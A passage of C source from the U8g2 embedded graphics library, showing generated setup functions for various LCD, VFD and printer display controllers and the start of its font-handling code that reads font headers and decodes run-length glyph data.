u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 f */ void u8g2_Setup_ra8835_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 */ /* sed1330 1 */ void u8g2_Setup_sed1330_320x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_25_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 2 */ void u8g2_Setup_sed1330_320x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_25_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 f */ void u8g2_Setup_sed1330_320x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_25_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 */ /* max7219 1 */ void u8g2_Setup_max7219_64x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_1_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 2 */ void u8g2_Setup_max7219_64x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_1_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 f */ void u8g2_Setup_max7219_64x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_1_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 */ /* max7219 1 */ void u8g2_Setup_max7219_32x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_4_1_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 2 */ void u8g2_Setup_max7219_32x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_4_1_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 f */ void u8g2_Setup_max7219_32x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_4_1_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 */ /* max7219 1 */ void u8g2_Setup_max7219_8x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_1_1_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 2 */ void u8g2_Setup_max7219_8x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_1_1_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* max7219 f */ void u8g2_Setup_max7219_8x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_1_1_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* s1d15300 */ /* s1d15300 1 */ void u8g2_Setup_s1d15300_lm6023_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15300 2 */ void u8g2_Setup_s1d15300_lm6023_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15300 f */ void u8g2_Setup_s1d15300_lm6023_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15e06 */ /* s1d15e06 1 */ void u8g2_Setup_s1d15e06_160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15e06 2 */ void u8g2_Setup_s1d15e06_160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15e06 f */ void u8g2_Setup_s1d15e06_160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15721 */ /* s1d15721 1 */ void u8g2_Setup_s1d15721_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15721 2 */ void u8g2_Setup_s1d15721_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* s1d15721 f */ void u8g2_Setup_s1d15721_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 */ /* gu800 1 */ void u8g2_Setup_gu800_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 2 */ void u8g2_Setup_gu800_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 f */ void u8g2_Setup_gu800_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 */ /* gu800 1 */ void u8g2_Setup_gu800_160x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_2_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 2 */ void u8g2_Setup_gu800_160x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_2_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gu800 f */ void u8g2_Setup_gu800_160x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_2_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1287ai */ /* gp1287ai 1 */ void u8g2_Setup_gp1287ai_256x50_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_7_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1287ai 2 */ void u8g2_Setup_gp1287ai_256x50_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_7_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1287ai f */ void u8g2_Setup_gp1287ai_256x50_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_7_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1247ai */ /* gp1247ai 1 */ void u8g2_Setup_gp1247ai_253x63_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1247ai 2 */ void u8g2_Setup_gp1247ai_253x63_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* gp1247ai f */ void u8g2_Setup_gp1247ai_253x63_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* a2printer */ /* a2printer 1 */ void u8g2_Setup_a2printer_384x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* a2printer 2 */ void u8g2_Setup_a2printer_384x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* a2printer f */ void u8g2_Setup_a2printer_384x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* end of generated code */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_font.c ================================================ /* u8g2_font.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* size of the font data structure, there is no struct or class... */ /* this is the size for the new font format */ #define U8G2_FONT_DATA_STRUCT_SIZE 23 /* font data: offset bytes description 0 1 glyph_cnt number of glyphs 1 1 bbx_mode 0: proportional, 1: common height, 2: monospace, 3: multiple of 8 2 1 bits_per_0 glyph rle parameter 3 1 bits_per_1 glyph rle parameter 4 1 bits_per_char_width glyph rle parameter 5 1 bits_per_char_height glyph rle parameter 6 1 bits_per_char_x glyph rle parameter 7 1 bits_per_char_y glyph rle parameter 8 1 bits_per_delta_x glyph rle parameter 9 1 max_char_width 10 1 max_char_height 11 1 x offset 12 1 y offset (descent) 13 1 ascent (capital A) 14 1 descent (lower g) 15 1 ascent '(' 16 1 descent ')' 17 1 start pos 'A' high byte 18 1 start pos 'A' low byte 19 1 start pos 'a' high byte 20 1 start pos 'a' low byte 21 1 start pos unicode high byte 22 1 start pos unicode low byte Font build mode, 0: proportional, 1: common height, 2: monospace, 3: multiple of 8 Font build mode 0: - "t" - Ref height mode: U8G2_FONT_HEIGHT_MODE_TEXT, U8G2_FONT_HEIGHT_MODE_XTEXT or U8G2_FONT_HEIGHT_MODE_ALL - use in transparent mode only (does not look good in solid mode) - most compact format - different font heights possible Font build mode 1: - "h" - Ref height mode: U8G2_FONT_HEIGHT_MODE_ALL - transparent or solid mode - The height of the glyphs depend on the largest glyph in the font. This means font height depends on postfix "r", "f" and "n". */ /* use case: What is the width and the height of the minimal box into which string s fints? */ void u8g2_font_GetStrSize(const void *font, const char *s, u8g2_uint_t *width, u8g2_uint_t *height); void u8g2_font_GetStrSizeP(const void *font, const char *s, u8g2_uint_t *width, u8g2_uint_t *height); /* use case: lower left edge of a minimal box is known, what is the correct x, y position for the string draw procedure */ void u8g2_font_AdjustXYToDraw(const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y); void u8g2_font_AdjustXYToDrawP(const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y); /* use case: Baseline origin known, return minimal box */ void u8g2_font_GetStrMinBox(u8g2_t *u8g2, const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y, u8g2_uint_t *width, u8g2_uint_t *height); /* procedures */ /*========================================================================*/ /* low level byte and word access */ /* removed NOINLINE, because it leads to smaller code, might also be faster */ //static uint8_t u8g2_font_get_byte(const uint8_t *font, uint8_t offset) U8G2_NOINLINE; static uint8_t u8g2_font_get_byte(const uint8_t *font, uint8_t offset) { font += offset; return u8x8_pgm_read( font ); } static uint16_t u8g2_font_get_word(const uint8_t *font, uint8_t offset) U8G2_NOINLINE; static uint16_t u8g2_font_get_word(const uint8_t *font, uint8_t offset) { uint16_t pos; font += offset; pos = u8x8_pgm_read( font ); font++; pos <<= 8; pos += u8x8_pgm_read( font); return pos; } /*========================================================================*/ /* new font format */ void u8g2_read_font_info(u8g2_font_info_t *font_info, const uint8_t *font) { /* offset 0 */ font_info->glyph_cnt = u8g2_font_get_byte(font, 0); font_info->bbx_mode = u8g2_font_get_byte(font, 1); font_info->bits_per_0 = u8g2_font_get_byte(font, 2); font_info->bits_per_1 = u8g2_font_get_byte(font, 3); /* offset 4 */ font_info->bits_per_char_width = u8g2_font_get_byte(font, 4); font_info->bits_per_char_height = u8g2_font_get_byte(font, 5); font_info->bits_per_char_x = u8g2_font_get_byte(font, 6); font_info->bits_per_char_y = u8g2_font_get_byte(font, 7); font_info->bits_per_delta_x = u8g2_font_get_byte(font, 8); /* offset 9 */ font_info->max_char_width = u8g2_font_get_byte(font, 9); font_info->max_char_height = u8g2_font_get_byte(font, 10); font_info->x_offset = u8g2_font_get_byte(font, 11); font_info->y_offset = u8g2_font_get_byte(font, 12); /* offset 13 */ font_info->ascent_A = u8g2_font_get_byte(font, 13); font_info->descent_g = u8g2_font_get_byte(font, 14); font_info->ascent_para = u8g2_font_get_byte(font, 15); font_info->descent_para = u8g2_font_get_byte(font, 16); /* offset 17 */ font_info->start_pos_upper_A = u8g2_font_get_word(font, 17); font_info->start_pos_lower_a = u8g2_font_get_word(font, 19); /* offset 21 */ #ifdef U8G2_WITH_UNICODE font_info->start_pos_unicode = u8g2_font_get_word(font, 21); #endif } /* calculate the overall length of the font, only used to create the picture for the google wiki */ size_t u8g2_GetFontSize(const uint8_t *font_arg) { uint16_t e; const uint8_t *font = font_arg; font += U8G2_FONT_DATA_STRUCT_SIZE; for(;;) { if ( u8x8_pgm_read( font + 1 ) == 0 ) break; font += u8x8_pgm_read( font + 1 ); } /* continue with unicode section */ font += 2; /* skip unicode lookup table */ font += u8g2_font_get_word(font, 0); for(;;) { e = u8x8_pgm_read( font ); e <<= 8; e |= u8x8_pgm_read( font + 1 ); if ( e == 0 ) break; font += u8x8_pgm_read( font + 2 ); } return (font - font_arg) + 2; } /*========================================================================*/ /* u8g2 interface, font access */ uint8_t u8g2_GetFontBBXWidth(u8g2_t *u8g2) { return u8g2->font_info.max_char_width; /* new font info structure */ } uint8_t u8g2_GetFontBBXHeight(u8g2_t *u8g2) { return u8g2->font_info.max_char_height; /* new font info structure */ } int8_t u8g2_GetFontBBXOffX(u8g2_t *u8g2) U8G2_NOINLINE; int8_t u8g2_GetFontBBXOffX(u8g2_t *u8g2) { return u8g2->font_info.x_offset; /* new font info structure */ } int8_t u8g2_GetFontBBXOffY(u8g2_t *u8g2) U8G2_NOINLINE; int8_t u8g2_GetFontBBXOffY(u8g2_t *u8g2) { return u8g2->font_info.y_offset; /* new font info structure */ } uint8_t u8g2_GetFontCapitalAHeight(u8g2_t *u8g2) U8G2_NOINLINE; uint8_t u8g2_GetFontCapitalAHeight(u8g2_t *u8g2) { return u8g2->font_info.ascent_A; /* new font info structure */ } /*========================================================================*/ /* glyph handling */ /* optimized */ uint8_t u8g2_font_decode_get_unsigned_bits(u8g2_font_decode_t *f, uint8_t cnt) { uint8_t val; uint8_t bit_pos = f->decode_bit_pos; uint8_t bit_pos_plus_cnt; //val = *(f->decode_ptr); val = u8x8_pgm_read( f->decode_ptr ); val >>= bit_pos; bit_pos_plus_cnt = bit_pos; bit_pos_plus_cnt += cnt; if ( bit_pos_plus_cnt >= 8 ) { uint8_t s = 8; s -= bit_pos; f->decode_ptr++; //val |= *(f->decode_ptr) << (8-bit_pos); val |= u8x8_pgm_read( f->decode_ptr ) << (s); //bit_pos -= 8; bit_pos_plus_cnt -= 8; } val &= (1U<decode_bit_pos = bit_pos_plus_cnt; return val; } /* 2 bit --> cnt = 2 -2,-1,0. 1 3 bit --> cnt = 3 -2,-1,0. 1 -4,-3,-2,-1,0,1,2,3 if ( x < 0 ) r = bits(x-1)+1; else r = bits(x)+1; */ /* optimized */ int8_t u8g2_font_decode_get_signed_bits(u8g2_font_decode_t *f, uint8_t cnt) { int8_t v, d; v = (int8_t)u8g2_font_decode_get_unsigned_bits(f, cnt); d = 1; cnt--; d <<= cnt; v -= d; return v; //return (int8_t)u8g2_font_decode_get_unsigned_bits(f, cnt) - ((1<>1); } #ifdef U8G2_WITH_FONT_ROTATION u8g2_uint_t u8g2_add_vector_y(u8g2_uint_t dy, int8_t x, int8_t y, uint8_t dir) { switch(dir) { case 0: dy += y; break; case 1: dy += x; break; case 2: dy -= y; break; default: dy -= x; break; } return dy; } u8g2_uint_t u8g2_add_vector_x(u8g2_uint_t dx, int8_t x, int8_t y, uint8_t dir) { switch(dir) { case 0: dx += x; break; case 1: dx -= y; break; case 2: dx -= x; break; default: dx += y; break; } return dx; } /* // does not make sense, 50 bytes more required on avr void u8g2_add_vector(u8g2_uint_t *xp, u8g2_uint_t *yp, int8_t x, int8_t y, uint8_t dir) { u8g2_uint_t x_ = *xp; u8g2_uint_t y_ = *yp; switch(dir) { case 0: y_ += y; x_ += x; break; case 1: y_ += x; x_ -= y; break; case 2: y_ -= y; x_ -= x; break; default: y_ -= x; x_ += y; break; } *xp = x_; *yp = y_; } */ #endif /* Description: Draw a run-length area of the glyph. "len" can have any size and the line length has to be wrapped at the glyph border. Args: len: Length of the line is_foreground foreground/background? u8g2->font_decode.target_x X position u8g2->font_decode.target_y Y position u8g2->font_decode.is_transparent Transparent mode Return: - Calls: u8g2_Draw90Line() Called by: u8g2_font_decode_glyph() */ /* optimized */ void u8g2_font_decode_len(u8g2_t *u8g2, uint8_t len, uint8_t is_foreground) { uint8_t cnt; 